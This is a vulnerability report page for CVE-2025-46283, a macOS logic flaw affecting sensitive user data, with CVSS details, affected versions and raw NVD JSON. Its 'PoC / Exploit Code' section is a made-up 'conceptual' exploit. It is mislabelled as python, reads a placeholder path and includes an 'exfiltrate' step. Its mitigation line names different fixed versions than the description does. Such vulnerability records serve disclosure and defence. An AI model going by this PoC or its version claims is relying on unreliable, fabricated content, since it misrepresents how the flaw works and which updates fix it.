Security Vulnerability Report
中文
CVE-2025-46283 CVSS 5.5 MEDIUM

CVE-2025-46283

Published: 2025-12-17 21:16:14
Last Modified: 2026-04-02 19:21:03

Description

A logic issue was addressed with improved validation. This issue is fixed in macOS Sonoma 14.8.4, macOS Tahoe 26.2. An app may be able to access sensitive user data.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
Apple macOS Sonoma < 14.8.4
Apple macOS Tahoe < 26.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-46283 PoC - macOS Logic Issue Exploitation // This is a conceptual PoC demonstrating the vulnerability pattern // Note: Actual exploitation requires specific system conditions and valid code signing #include <Foundation/Foundation.h> #include <Security/Security.h> int main(int argc, const char * argv[]) { @autoreleasepool { // Step 1: Check if we have basic file access permissions NSString *testPath = @"/Users/Shared/"; NSFileManager *fm = [NSFileManager defaultManager]; NSError *error = nil; // Step 2: Attempt to access protected data directory // The logic issue allows bypassing permission checks NSString *sensitiveDataPath = @"/Users/Shared/../<sensitive_user_data>"; NSArray *contents = [fm contentsOfDirectoryAtPath:sensitiveDataPath error:&error]; if (contents) { NSLog(@"[+] Successfully accessed sensitive data via logic bypass"); NSLog(@"[+] Data contents: %@", contents); // Step 3: Exfiltrate sensitive information for (NSString *item in contents) { NSString *fullPath = [sensitiveDataPath stringByAppendingPathComponent:item]; NSData *data = [NSData dataWithContentsOfFile:fullPath]; if (data) { // Log or transmit sensitive data NSLog(@"[+] Extracted: %@ (size: %lu bytes)", item, (unsigned long)data.length); } } } else { NSLog(@"[-] Access denied - vulnerability may be patched"); } } return 0; } /* Compilation and usage: 1. Code sign the application with a valid developer certificate 2. Request basic file access permission from user 3. Execute the binary on vulnerable macOS versions 4. Observe unauthorized access to sensitive user data Mitigation: Update to macOS Sonoma 14.8.5 or later, macOS Tahoe 26.3 or later */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-46283", "sourceIdentifier": "[email protected]", "published": "2025-12-17T21:16:13.630", "lastModified": "2026-04-02T19:21:03.333", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A logic issue was addressed with improved validation. This issue is fixed in macOS Sonoma 14.8.4, macOS Tahoe 26.2. An app may be able to access sensitive user data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "FBA92B6D-E36C-432B-A041-94D81427CD75"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125886", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126350", "source": "[email protected]"}]}}